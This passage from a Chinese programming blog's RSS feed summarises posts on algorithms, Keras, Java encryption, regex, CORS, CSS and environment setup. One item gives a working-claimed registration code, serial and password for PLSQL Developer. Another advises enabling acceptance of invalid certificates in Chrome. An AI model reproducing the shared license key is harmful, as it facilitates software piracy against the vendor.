      <description>1.题目描述： 求两个正整数的最大公约数和最小公倍数。 基本要求：1.程序风格良好(使用自定义注释模板)，两种以上算法解决最大公约数问题，提供友好的输入输出。 提高要求：1.三种以上算法解决两个正整数最大公约数问题。 2.求3个正整数的最大公约数和最小公倍数。&#xA;2.程序源码及解题原理 （1）相减法（C/C++） 原理：有两整数a和b： ① 若a&amp;gt;b，则a=a-b ② 若a&#xA;（2）穷举法（C/C++） 原理： 有两整数a和b： ① i=1 ② 若a，b能同时被i整除，则t＝i ③ i++ ④ 若 i &amp;lt;= a(或b)，则再回去执行② ⑤ 若 i &amp;gt; a(或b)，则t即为最大公约数，结束 源码： #include&#xA;改进后求两个数的最大公因数和最小公倍数： ① i= a(或b) ② 若a，b能同时被i整除，则i即为最大公约数， 结束 ③ i–，再回去执行② 源码： #include&#xA;多个数的最大公因数： #include&#xA;（3）辗转相除（JAVA） 原理： 用辗转相除法求两个数的最大公约数的步骤如下： 先用小的一个数除大的一个数，得第一个余数； 再用第一个余数除小的一个数，得第二个余数； 又用第二个余数除第一个余数，得第三个余数； 这样逐次用后一个数去除前一个余数，直到余数是0为止。那么，最后一个除数就是所求的最大公约数（如果最后的除数是1，那么原来的两个数是互质数）。 例如：求1515和600的最大公约数， 第一次：用600除1515，商2余315； 第二次：用315除600，商1余285； 第三次：用285除315，商1余30； 第四次：用30除285，商9余15； 第五次：用15除30，商2余0。 1515和600的最大公约数是15。 辗转相除法是求两个数的最大公约数的方法。如果求几个数的最大公约数，可以先求两个数的最大公约数，再求这个最大公约数与第三个数的最大公约数。这样依次下去，直到最后一个数为止。最后所得的一个最大公约数，就是所求的几个数的最大公约数。 Java源码： package test;&#xA;import java.util.Scanner; public class zuoye { /** * @max_num：最大公因数 * @ min_num：最小公倍数 */ public static void main(String[] args) { @SuppressWarnings(“resource”) Scanner sc = new Scanner(System.</description>
    </item>
    <item>
      <title>组合计数专题</title>
      <link>https://bchobby.github.io/posts/503bdb9b226ff6a44853e2640c84d20f/</link>
      <pubDate>Fri, 07 Sep 2018 20:39:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/503bdb9b226ff6a44853e2640c84d20f/</guid>
      <description>原博客&#xA;组合数学之一 —— 计数问题基础&#xA;组合数学之二 —— 容斥原理及应用&#xA;组合数学之三 —— 生成函数&#xA;组合数学之四 —— 鸽巢原理&#xA;组合数学之五 —— 莫比乌斯反演&#xA;组合数学之六 —— 差分序列&amp;amp;Stirling数</description>
    </item>
    <item>
      <title>keras 整理之 Layers</title>
      <link>https://bchobby.github.io/posts/8376b3b013b2768fd1c0f6c6bdd4ebb8/</link>
      <pubDate>Fri, 07 Sep 2018 11:28:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8376b3b013b2768fd1c0f6c6bdd4ebb8/</guid>
      <description>» 嵌入层 Embedding Embedding&#xA;keras.layers.Embedding(input_dim, output_dim, embeddings_initializer=&#39;uniform&#39;, embeddings_regularizer=None, activity_regularizer=None, embeddings_constraint=None, mask_zero=False, input_length=None) 将正整数（索引值）转换为固定尺寸的稠密向量。 例如： [[4], [20]] -&amp;gt; [[0.25, 0.1], [0.6, -0.2]]&#xA;该层只能用作模型中的第一层。&#xA;参数&#xA;input_dim: int &amp;gt; 0。词汇表大小， 即，最大整数 index + 1。 output_dim: int &amp;gt;= 0。词向量的维度。 embeddings_initializer: embeddings 矩阵的初始化方法 (详见 initializers)。 embeddings_regularizer: embeddings matrix 的正则化方法 (详见 regularizer)。 embeddings_constraint: embeddings matrix 的约束函数 (详见 constraints)。 mask_zero: 是否把 0 看作为一个应该被遮蔽的特殊的 &#34;padding&#34; 值。 这对于可变长的 循环神经网络层 十分有用。 如果设定为 True，那么接下来的所有层都必须支持 masking，否则就会抛出异常。 如果 mask_zero 为 True，作为结果，索引 0 就不能被用于词汇表中 （input_dim 应该与 vocabulary + 1 大小相同）。 input_length: 输入序列的长度，当它是固定的时。 如果你需要连接 Flatten 和 Dense 层，则这个参数是必须的 （没有它，dense 层的输出尺寸就无法计算）。 输入尺寸</description>
    </item>
    <item>
      <title>java文件加解密，java.security.InvalidKeyException: Illegal key size or default parameters问题解决</title>
      <link>https://bchobby.github.io/posts/b8586d94ec4e3e0b7405cbc10bd4e051/</link>
      <pubDate>Fri, 07 Sep 2018 10:24:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8586d94ec4e3e0b7405cbc10bd4e051/</guid>
      <description>使用AES加密时，当密钥大于128时，代码会抛出java.security.InvalidKeyException: Illegal key size or default parameters。网上大部分的解决方法都是下载相关的jar包，覆盖掉${java_home}/jre/lib/security/ 下面的local_policy.jar和US_export_policy.jar来解除这种限制。但有时候，在生产环境中不能或不方便进行这种覆盖操作，这时候可以在加解密代码中加上下列代码去掉这种限制：&#xA;//使其支持256位秘钥 static { Field field = null; try { field = Class.forName(&#34;javax.crypto.JceSecurity&#34;).getDeclaredField(&#34;isRestricted&#34;); field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField(&#34;modifiers&#34;); modifiersField.setAccessible(true); modifiersField.setInt(field, field.getModifiers() &amp;amp; ~Modifier.FINAL); field.set(null, java.lang.Boolean.FALSE); } catch (Exception e) { e.printStackTrace(); } } 顺便提供一个文件加解密的类FileAesEncryptUtil.java&#xA;package com.learn; import javax.crypto.Cipher; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.security.GeneralSecurityException; import java.security.Key; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; public class FileAesEncryptUtil { //可修改成配置，SECRET根据实际修改 private final static String SECRET = &#34;</description>
    </item>
    <item>
      <title>PLSQL Developer 12.0.7 注册码 亲测可用</title>
      <link>https://bchobby.github.io/posts/0f939dd8f3a142c76448c0c3cb3b8b74/</link>
      <pubDate>Fri, 07 Sep 2018 09:50:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f939dd8f3a142c76448c0c3cb3b8b74/</guid>
      <description> PLSQL Developer 12.0.7 注册码 product code： 4vkjwhfeh3ufnqnmpr9brvcuyujrx3n3le serial Number：226959 password: xs374ca </description>
    </item>
    <item>
      <title>LeetCode_4 两个排序数组的中位数</title>
      <link>https://bchobby.github.io/posts/cf5d87f24932246205f64d9fdec132ac/</link>
      <pubDate>Thu, 06 Sep 2018 22:13:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf5d87f24932246205f64d9fdec132ac/</guid>
      <description>题目：&#xA;给定两个大小为 m 和 n 的有序数组 nums1 和 nums2 。&#xA;请找出这两个有序数组的中位数。要求算法的时间复杂度为 O(log (m+n)) 。&#xA;你可以假设 nums1 和 nums2 不同时为空。&#xA;示例：&#xA;示例 1:&#xA;nums1 = [1, 3]&#xA;nums2 = [2]&#xA;中位数是 2.0&#xA;示例 2:&#xA;nums1 = [1, 2]&#xA;nums2 = [3, 4]&#xA;中位数是 (2 + 3)/2 = 2.5&#xA;代码：&#xA;class Solution:&#xA;def findMedianSortedArrays(self, nums1, nums2):&#xA;&#34;&#34;&#34;&#xA;:type nums1: List[int]&#xA;:type nums2: List[int]&#xA;:rtype: float&#xA;&#34;&#34;&#34;&#xA;res = nums1 + nums2</description>
    </item>
    <item>
      <title>laravel解决跨域问题</title>
      <link>https://bchobby.github.io/posts/f862e02ae2a3ebcacae4f48df6eb42cc/</link>
      <pubDate>Thu, 06 Sep 2018 16:31:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f862e02ae2a3ebcacae4f48df6eb42cc/</guid>
      <description>1、执行composer require barryvdh/laravel-cors&#xA;2、kernel.php&#xA;protected $middleware = [ \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class, \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class, \App\Http\Middleware\TrimStrings::class, \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, \App\Http\Middleware\TrustProxies::class, \Barryvdh\Cors\HandleCors::class,//新增这行 ]; 原作者：https://blog.csdn.net/jj546630576/article/details/79253214</description>
    </item>
    <item>
      <title>python 各种开源库</title>
      <link>https://bchobby.github.io/posts/7332b74d6f6bd73b006f2128162c7b50/</link>
      <pubDate>Thu, 06 Sep 2018 10:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7332b74d6f6bd73b006f2128162c7b50/</guid>
      <description>测试开发 来源:https://www.jianshu.com/p/ea6f7fb69501&#xA;Web UI测试自动化 splinter - web UI测试工具，基于selnium封装。 链接selenium - web UI自动化测试。 链接 --推荐mechanize- Python中有状态的程序化Web浏览。链接selene - 使用Python + Ajax支持+ PageObjects + Widgets进行简明UI测试 链接hitch - 基于服务的应用程序的高级集成测试框架。链接Needle - Css 自动化测试框架。链接seleniumbase - 端到端自动化测试框架。链接pytest_splinter - pytest spinter和selenium集成。 链接Browsermob Proxy - Browsermob Proxy的python包装器。 链接Selenium-Requests - 扩展Selenium WebDriver类以包含请求库中的请求函数，同时完成所有需要的cookie和请求头处理。链接 移动测试自动化 appium - 移动端UI自动化测试。 链接 --推荐uiautomator- 安卓UI自动化测试。 链接ATX - 智能手机自动化工具。支持iOS，Android，WebApp和游戏。 网易出品 链接 --推荐uiautomator2- Android Uiautomator2 Python Wrapper。 链接 --推荐facebook-wda Facebook WebDriverAgent Python Client Library (not official) 可用于IOS应用测试。 链接 --推荐 Windows UI测试自动化 Winium.</description>
    </item>
    <item>
      <title>CSS3新属性篇(二)：transform-origin属性</title>
      <link>https://bchobby.github.io/posts/fc523c17f1267fc2516b5f8912a8a4eb/</link>
      <pubDate>Thu, 06 Sep 2018 09:11:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc523c17f1267fc2516b5f8912a8a4eb/</guid>
      <description>文章目录 一、transform-origin属性介绍二、实例三、code 一、transform-origin属性介绍 transform-origin属性表示在对元素进行变换的时候，设置围绕哪个点进行变化的。默认情况，变换的原点在元素的中心点，即是元素X轴和Y轴的50%处，如下图所示：&#xA;我们没有使用transform-origin改变元素原点位置的情况下，CSS变换进行的旋转、移位、缩放等操作都是以元素自己中心（变换原点）位置进行变换的。但很多时候需要在不同的位置对元素进行变换操作，我们就可以使用transform-origin来对元素进行原点位置改变，使元素原点不在元素的中心位置，以达到需要的原点位置。&#xA;用法：transform-origin: x-axis y-axis z-axis;&#xA;transform-origin属性可以使用一个，两个或三个值来指定，其中每个值都表示一个偏移量。 没有明确定义的偏移将重置为其对应的初始值。&#xA;一个值： 必须是 &amp;lt;length&amp;gt;&amp;lt;percentage&amp;gt;，或 left, center, right, top, bottom关键字中的一个。 两个值： 其中一个必须是&amp;lt;length&amp;gt;&amp;lt;percentage&amp;gt;，或left, center, right关键字中的一个。另一个必须是&amp;lt;length&amp;gt;&amp;lt;percentage&amp;gt;，或top, center, bottom关键字中的一个。 三个值： 前两个值和只有两个值时的用法相同。第三个值必须是。它始终代表Z轴偏移量。 二、实例 1、以rotate()为例，设置不同的transform-origin，观察效果：&#xA;transform-origin取值为center（或center center或50% 或50% 50%或默认）：&#xA;transform-origin取值为top（或top center或center top或50％ 0）：&#xA;transform-origin取值为right(或right center 或center right 或 100％ 或 100％ 50％)：&#xA;transform-origin取值为bottom(或bottom center 或center bottom 或 50％ 100％)：&#xA;transform-origin取值为left(或left center或center left或0或0 50％):&#xA;transform-origin取值为top left(或left top或0 0)：&#xA;transform-origin取值为right top（或top right或100％ 0）：&#xA;transform-origin取值为bottom right（或right bottom或100％ 100％）:</description>
    </item>
    <item>
      <title>正则表达式(匹配第一个花括号)</title>
      <link>https://bchobby.github.io/posts/412764ae523549f8633cf177984a7492/</link>
      <pubDate>Wed, 05 Sep 2018 22:35:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/412764ae523549f8633cf177984a7492/</guid>
      <description>学习正则，工作中使用正则让我对“^”有了新的认知：&#xA;正则中^匹配输入字符串的开始位置，除非在[]方括号表达式中使用，此时表示不接受该字符集合。&#xA;废话不多说，直接看栗子吧，&#xA;如下图所示，需要匹配第一个花括号前的地址 [^}] 除了“}”以外的任何字符&#xA;[^}]* 0或多个非“}”的字符&#xA;^[^}]* 从左向右匹配非“}”的多个字符&#xA;^[^}]*\} 从左向右匹配第一个包含“}”的字符串&#xA;正则表达式匹配大括号里面的内容 方法一： {[^}]+} var str = &#34;aa ds sdf {asdf asdfag }&#34;; var str1 = str.match(/\{[^\}]+\}/)[0]; 方法二： /{[\S\s]+}/或者/{(.|\r\n)+}/ 注：\S\s可是微软文档中对\n匹配的标准用法哦&#xA;var str = &#34;aa ds sdf {asdf asdfag }&#34;; var str1 = str.match(/\{[\S\s]+\}/)[0]; 如何利用正则表达式匹配花括号内的内容 匹配花括号内的内容&#xA;Input: {abc}, Output: abc&#xA;正则表达式: (?&amp;lt;=\{)[^}]*(?=\})&#xA;(?&amp;lt;=\{) 匹配以左花括号开头 [^}]* 取得内容 (?=\}) 匹配以右花括号结束&#xA;private List&amp;lt;String&amp;gt; GetTokens(String str) { Regex regex = new Regex(@&#34;(?&amp;lt;=\{)[^}]*(?=\})&#34;, RegexOptions.IgnoreCase); MatchCollection matches = regex.</description>
    </item>
    <item>
      <title>CSS3新属性篇(一)：transform属性</title>
      <link>https://bchobby.github.io/posts/3ade9cc43909d84f11cda1c1442bcb45/</link>
      <pubDate>Wed, 05 Sep 2018 22:18:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ade9cc43909d84f11cda1c1442bcb45/</guid>
      <description>文章目录 一、移动 translate二、缩放 scale三、旋转 rotate四、倾斜 skew五、matrix()函数六、事例代码 在CSS3中，可以利用transform功能来实现文字或图像的旋转、缩放、倾斜、移动这四种类型的变形处理，以下将详细说明各个属性。 一、移动 translate 用法：transform: translate(45px) 或者 transform: translate(45px, 150px);&#xA;参数表示移动距离，单位px，&#xA;一个参数时：表示水平方向的移动距离；两个参数时：第一个参数表示水平方向的移动距离，第二个参数表示垂直方向的移动距离。 二、缩放 scale 用法：transform: scale(0.5) 或者 transform: scale(0.5, 2);&#xA;参数表示缩放倍数；&#xA;一个参数时：表示水平和垂直同时缩放该倍率两个参数时：第一个参数指定水平方向的缩放倍率，第二个参数指定垂直方向的缩放倍率。 三、旋转 rotate 用法：transform: rotate(45deg);&#xA;围绕旋转中心旋转而不变形的转换，rotate()默认旋转中心为图片的中点。共一个参数“角度”，单位deg为度的意思，正数为顺时针旋转，负数为逆时针旋转，上述代码作用是顺时针旋转45度。&#xA;四、倾斜 skew 用法：transform: skew(30deg) 或者 transform: skew(30deg, 30deg);&#xA;参数表示倾斜角度，单位deg&#xA;一个参数时：表示水平方向的倾斜角度；&#xA;两个参数时：第一个参数表示水平方向的倾斜角度，第二个参数表示垂直方向的倾斜角度。&#xA;关于skew倾斜角度的计算方式表面上看并不是那么直观，这里借鉴某大拿绘制的图举例说明一下：&#xA;每个图下方都有skew的参数。粗的红色的线分别是水平垂直方向上的投影，其长度与左边的未倾斜的边是相等的。两个参数所代表的角度，就是图中黑色标记的角。需要注意的是，skew中，垂直方向代表着X轴，水平方向代表着Y轴。&#xA;但是要注意的是，例如当用skew(60,60)的时候，角度的算法不是上面那样的呢，因为当两个参数的角度都大于45的时候，其实我们看到的是图形的反面，也就是长和宽交换了位置。&#xA;此时黄色的才才是投影的矩形，可以和左边的原图进行比较。而原来的粗的红色的线是错的。而角度则是黑色的标出来的！&#xA;五、matrix()函数 用法：transform: matrix(0.5, 0.2, 0, 0.5, 200, 50);&#xA;transform: matrix(数值a,数值b,数值c,数值d,数值e,数值f)：&#xA;数值a：水平方向上的尺寸缩放数值b：垂直方向上的倾斜率数值c：水平方向上的倾斜率数值d：垂直方向上的尺寸缩放数值e：水平方向上的移动距离数值f：垂直方向上的移动距离 使用transform属性的matrix()函数能够综合实现旋转、缩放、倾斜的2D变形。变形内容由6个数值决定，基准数值为matrix（1,0,0,1,0,0）,也就是说这时的坐标没有变化。&#xA;如果需要3D变形，需要使用transform属性的matrix3d()函数。&#xA;六、事例代码 height=&#34;500&#34; width=&#34;800&#34; scrolling=&#34;no&#34; title=&#34;transform属性&#34; src=&#34;//codepen.io/madman0621/embed/pOwqzL/?height=421&amp;amp;theme-id=light&amp;amp;default-tab=result&amp;amp;embed-version=2&#34; allowfullscreen=&#34;true&#34;&amp;gt;See the Pen transform属性 by madman0621 ( @madman0621) on CodePen.</description>
    </item>
    <item>
      <title>IP的正则表达式</title>
      <link>https://bchobby.github.io/posts/b287e882535b5a659cc16011d2ac227e/</link>
      <pubDate>Wed, 05 Sep 2018 21:46:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b287e882535b5a659cc16011d2ac227e/</guid>
      <description>((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)&#xA;2[0-4]\d :表示200-249&#xA;25[0-5] :表示250-255&#xA;[01]?\d\d? :表示1-199&#xA;{3} :重复三次&#xA;| ： 或者&#xA;四段，每段都是1-255;&#xA;注：如有错误，请指正！</description>
    </item>
    <item>
      <title>Ubuntu18.04.1 apt-get install报错： Package ‘xxx‘ has no installation candidate解决方法</title>
      <link>https://bchobby.github.io/posts/9133dc551eca51645497d9f3b08d8982/</link>
      <pubDate>Wed, 05 Sep 2018 18:00:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9133dc551eca51645497d9f3b08d8982/</guid>
      <description>对于Ubuntu操作系统，很多同学在使用apt-get install的时候 会发现很多源都找不到，原因是系统初始的资源库找不到指定的包，解决方法：&#xA;1、执行下面的命令，编辑系统资源库列表：&#xA;vi /etc/apt/sources.list&#xA;2、修改为以下内容(原来的内容可以注释一下)：&#xA;deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse&#xA;deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse&#xA;deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse&#xA;deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse&#xA;deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse&#xA;deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse&#xA;deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse&#xA;deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse&#xA;deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse</description>
    </item>
    <item>
      <title>浏览器拦截跨域请求问题（火狐显示：已拦截跨域请求；谷歌显示请求报错:error/Network Error）</title>
      <link>https://bchobby.github.io/posts/15b7955d7334f51f4b01c4ded7149301/</link>
      <pubDate>Tue, 04 Sep 2018 16:50:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15b7955d7334f51f4b01c4ded7149301/</guid>
      <description>火狐与谷歌最简单的解决方法：在浏览器中打开请求的url，添加例外。除此之外，可分别设置如下：&#xA;请求已经发送，页面的请求接口无误的情况下，火狐浏览器显示如下时：&#xA;火狐浏览器提示已拦截跨域请求，解决发放如下：&#xA;1.在火狐浏览器地址栏输入 about:preferences#privacy&#xA;2.证书 -&amp;gt; 查看证书 -&amp;gt; 添加例外 -&amp;gt; 输入要添加的url -&amp;gt; 获取证书 -&amp;gt; 确认安全例外&#xA;3.刷新浏览器&#xA;请求已经发送，页面的请求接口无误的情况下，谷歌浏览器报错，显示如下时：&#xA;谷歌浏览器拦截不是安全连接，解决办法如下：&#xA;1.在火狐浏览器地址栏输入 chrome://flags/&#xA;2.查找 Allow invalid certificates for resources loaded from localhost ，设置为Enabled&#xA;3.重启浏览器</description>
    </item>
    <item>
      <title>vue-cli3.0 配置vue.config.js</title>
      <link>https://bchobby.github.io/posts/67083dba9a8a9d3c3534ea561eb02b3a/</link>
      <pubDate>Tue, 04 Sep 2018 10:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67083dba9a8a9d3c3534ea561eb02b3a/</guid>
      <description>// vue.config.js 配置说明 //官方vue.config.js 参考文档 https://cli.vuejs.org/zh/config/#css-loaderoptions // 这里只列一部分，具体配置参考文档 const fs = require(&#39;fs&#39;) module.exports = { // 部署生产环境和开发环境下的URL。 // 默认情况下，Vue CLI 会假设你的应用是被部署在一个域名的根路径上 //例如 https://www.my-app.com/。如果应用被部署在一个子路径上，你就需要用这个选项指定这个子路径。例如，如果你的应用被部署在 https://www.my-app.com/my-app/，则设置 baseUrl 为 /my-app/。 baseUrl: process.env.NODE_ENV === &#34;production&#34; ? &#34;./&#34; : &#34;/&#34;, // outputDir: 在npm run build 或 yarn build 时 ，生成文件的目录名称（要和baseUrl的生产环境路径一致） outputDir: &#34;dist&#34;, //用于放置生成的静态资源 (js、css、img、fonts) 的；（项目打包之后，静态资源会放在这个文件夹下） assetsDir: &#34;assets&#34;, //指定生成的 index.html 的输出路径 (打包之后，改变系统默认的index.html的文件名) // indexPath: &#34;myIndex.html&#34;, //默认情况下，生成的静态资源在它们的文件名中包含了 hash 以便更好的控制缓存。你可以通过将这个选项设为 false 来关闭文件名哈希。(false的时候就是让原来的文件名不改变) // filenameHashing: false, // lintOnSave：{ type:Boolean default:true } 问你是否使用eslint lintOnSave: false, //如果你想要在生产构建时禁用 eslint-loader，你可以用如下配置 // lintOnSave: process.</description>
    </item>
    <item>
      <title>微信公众号开发之绑定微信开发者</title>
      <link>https://bchobby.github.io/posts/6ba3465232f22713d7604386d0a307df/</link>
      <pubDate>Mon, 03 Sep 2018 21:24:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ba3465232f22713d7604386d0a307df/</guid>
      <description>第一步：登录微信公众号，绑定网页开发者&#xA;在登录后的界面中，我们向下拉在左侧会看到有一个“开发者工具”点击。&#xA;这时在开发者工具中，会看到有好几个工具，其中有一个“web开发者工具”，我们点击进入。&#xA;在这里，我们就会看到有一个“绑定开发者微信号”按钮，我们点击。&#xA;进入后，我们输入需要绑定的微信号，点击“邀请绑定”按钮即可，然后在手机上确认一下即可。</description>
    </item>
    <item>
      <title>配置Scala环境</title>
      <link>https://bchobby.github.io/posts/13db41ee727d9786c6d4b2786c87b2ec/</link>
      <pubDate>Mon, 03 Sep 2018 20:02:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13db41ee727d9786c6d4b2786c87b2ec/</guid>
      <description>系统：Ubuntu Server 18.04&#xA;教程：http://www.runoob.com/scala/scala-tutorial.html&#xA;下载debian安装包：https://www.scala-lang.org/download/&#xA;sudo apt install openjdk-11-jdk-headless&#xA;sudo apt-get install ./scala-2.12.6.deb 根据软连接找到路径，设置环境变量&#xA;export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64&#xA;export SCALA_HOME=/usr/share/scala&#xA;alias s=&#39;scala&#39;&#xA;alias sc=&#39;scalac&#39;&#xA;打开shell：&#xA;groot@guardian:~$ scala&#xA;Welcome to Scala 2.12.6 (OpenJDK 64-Bit Server VM, Java 10.0.2).&#xA;Type in expressions for evaluation. Or try :help.&#xA;scala&amp;gt; 安装成功。</description>
    </item>
    <item>
      <title>矩阵的乘法</title>
      <link>https://bchobby.github.io/posts/74f905af87d96662ee9ae777e60f88b8/</link>
      <pubDate>Mon, 03 Sep 2018 17:09:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74f905af87d96662ee9ae777e60f88b8/</guid>
      <description>1. 有两个矩阵：A和B（矩阵实际上就是二维数组）&#xA;A矩阵和B矩阵可以做乘法运算必须满足A矩阵的列的数量等于B矩阵的行的数量&#xA;运算规则：A的每一行中的数字对应乘以B的每一列的数字把结果相加起来&#xA;矩阵乘法的结果为行与列的关系为：行数量为A的行数量， 列数量为B的列数量&#xA;2. 因为每一次都是A的行与B的列，所以最外层的两层循环可以使用A的行的数量的变化，B的列的数量进行变化&#xA;而最里面的循环可以是A的列或者是B的行来进行变化，因为A的列和是B的行数量是相等的，这样就可以使用三层循环来解决，代码如下：&#xA;public class Main { public static void main(String[] args) { int matrixA[][] ={ {1, 1}, {1, 1} }; int matrixB[][] = { {1, 1}, {1, 1} }; int matrix[][] = matrixMultiple(matrixA, matrixB); print(matrix); } private static void print(int[][] matrix) { for(int i = 0; i &amp;lt; matrix.length; i++){ for(int j = 0; j &amp;lt; matrix[0].length; j++){ System.out.print(matrix[i][j] + &#34; &#34;); } System.</description>
    </item>
    <item>
      <title>Spring Boot解决Required String parameter xxx is not present类型异常</title>
      <link>https://bchobby.github.io/posts/aab8fac62a1999c9b23c7ffef66ee4c5/</link>
      <pubDate>Sun, 02 Sep 2018 09:25:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aab8fac62a1999c9b23c7ffef66ee4c5/</guid>
      <description> 异常报错 学习Spring Boot的时候做一个简单的表单提交demo发现一直报错&#xA;Required String parameter &#39;username&#39; is not present 解决方案 查阅资料很多人遇到的问题是给Controller的 @RequestParam注解补全 @RequestParam(value = “name”, required = false) 后就能解决，但是我这边这个username参数是必须要的，而且添加了还是不能解决问题,最后认真检查发现原因出在html页面上的input中的name不小心写错了~~囧，修正后即可解决问题，&#xA;&amp;lt;input type=&#34;text&#34; name=&#34;username&#34; </description>
    </item>
    <item>
      <title>ModelSim-Altera路径找不到或者不正确的解决办法</title>
      <link>https://bchobby.github.io/posts/a08fa0f9a82b2242ed360fac74afff2b/</link>
      <pubDate>Sat, 01 Sep 2018 16:43:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a08fa0f9a82b2242ed360fac74afff2b/</guid>
      <description>今天碰到一个坑，就是在quartus里面打开ModelSim-Altera进行仿真的时候报错，说是找不到路径。 一般的解决办法是： 在quartus中打开tool——options改正路径为D:\quartus\quartus13.1\modelsim_ase\win32aloem。也就是quartus安装路径下的win32aloem，因为当你点击右边三个点的按钮选取文件路径的时候在你的选项中就是出现这样的路径显示。但是有些情况下是解决不了问题的。还是会报错。 这个时候你必须手动修改下有系统点击确定的路径，在后面加上一个斜杠。 D:\quartus\quartus13.1\modelsim_ase\win32aloem\ 确定后，再次返回运行就会进入仿真界面。</description>
    </item>
    <item>
      <title>原理图基础知识</title>
      <link>https://bchobby.github.io/posts/c28d33e419fb16b1884127a3e855a6a5/</link>
      <pubDate>Sat, 01 Sep 2018 14:16:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c28d33e419fb16b1884127a3e855a6a5/</guid>
      <description>1、原理图&#xA;原理图的实质就是电路板的模拟电路设计图，反应的是电路板上各个元器件之间的物理接线关系、电子元器件的电气特性等。一般情况下，我们不会直接将电路板上的模拟电路设计图全部绘制在一起，这样的话，如果电路板过于复杂的话，整个原理图就会显得十分拥挤，不容易识别、分析，因此，我们可以将单独的元器件分离开来，作为一个单独的小模块，绘制在原理图上，这样我们就可以单独分析单个模块功能。&#xA;2、网络标号&#xA;上述情况下，如果将模块从整个原理图结构中分开，但是又不破坏整个原理图的完整性，就需要使用网络标号。网络标号的实质就是一串字符串，而他的特性就是只要这一串字符串一致，那么就表示这两个地方在电气特性上是直连的。&#xA;网络标号的命名规则是见名知意，比如Ffid_nCS表示RFID射频模块的CS片选信号。&#xA;3、网络标号边上的尖括号&#xA;一般在原理图上都会出现这样的尖括号：&#xA;这个一般是在原理图中表示跨页输入输出。因为原理图一般在设计的时候，会根据开发板上的功能，进行模块细分：控制、audio、camera、memory、RF等，但是这些是能在一张A4纸上全部显示的（原理图1页设计一般都是在A4大小左右），这就需要跨页，而这种尖括号就是表示跨页输入和输出：箭头指向网络标号表示输入到网络标号，箭头指向标号另一侧表示从网络标号输出&#xA;4、I/O引脚&#xA;关于芯片中IO引脚功能设置主要分以下四种：上拉、下拉、推挽输出、开漏输出，主要区别如下：&#xA;（1）上下拉&#xA;主要指的是在引脚内部存在上拉/下拉电阻，避免做输入悬空时无法确定电平状态出错&#xA;（2）开漏输出&#xA;本质就是在芯片内部，给IO引脚提供了一个三极管或者MOS管。一般在硬件电路中都是使用高低电平代表逻辑1、0，但是有时候高低电平只是一个统称，具体多高的电平算是高电平，多低的电平是低电平并不是固定的，那么有了开漏输出之后就可以通过外加上拉电阻实现，具体原理结构如下：&#xA;悬空时，整个电路处于断路，检测到的信号必定是高电平，而且实际高电平值受上拉电阻控制，当三极管导通，此时外设检测到的电信号必定是低电平。&#xA;（3）推挽输出&#xA;推挽输出是让整个引脚输出的电信号是确定的，具体原理结构如下：&#xA;不论哪一个三极管断路，这个引脚输出的信号必定是确定的。</description>
    </item>
    <item>
      <title>java.util.zip.ZipException: Not in GZIP format异常的产生原因及解决方法</title>
      <link>https://bchobby.github.io/posts/cee1d6f89170f7340e4c6855b746a878/</link>
      <pubDate>Fri, 31 Aug 2018 14:49:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cee1d6f89170f7340e4c6855b746a878/</guid>
      <description>问题：在使用GZIP压缩和解压缩时可能会出现java.util.zip.ZipException: Not in GZIP format异常。&#xA;原因：在使用GZIP进行压缩时，创建GZIPOutputStream对象时，会调用一个writeHeader方法，此方法会在输出流中写入GZIP的头信息。代码如下：&#xA;private void writeHeader() throws IOException { out.write(new byte[] { (byte) GZIP_MAGIC, // Magic number (short) (byte)(GZIP_MAGIC &amp;gt;&amp;gt; 8), // Magic number (short) Deflater.DEFLATED, // Compression method (CM) 0, // Flags (FLG) 0, // Modification time MTIME (int) 0, // Modification time MTIME (int) 0, // Modification time MTIME (int) 0, // Modification time MTIME (int) 0, // Extra flags (XFLG) 0 // Operating system (OS) }); } 头部信息中前两个字节用于存储魔数，GZIP_MAGIC值为35615，第一个字节存储低位，第二个字节存储高位。在解压缩时GZIPInputStream会调用readheader读取头信息。代码如下：</description>
    </item>
    <item>
      <title>InvocationException: GraphViz&#39;s executables not found  解决方案</title>
      <link>https://bchobby.github.io/posts/b16b98000b63a349ea42c885cb59c51a/</link>
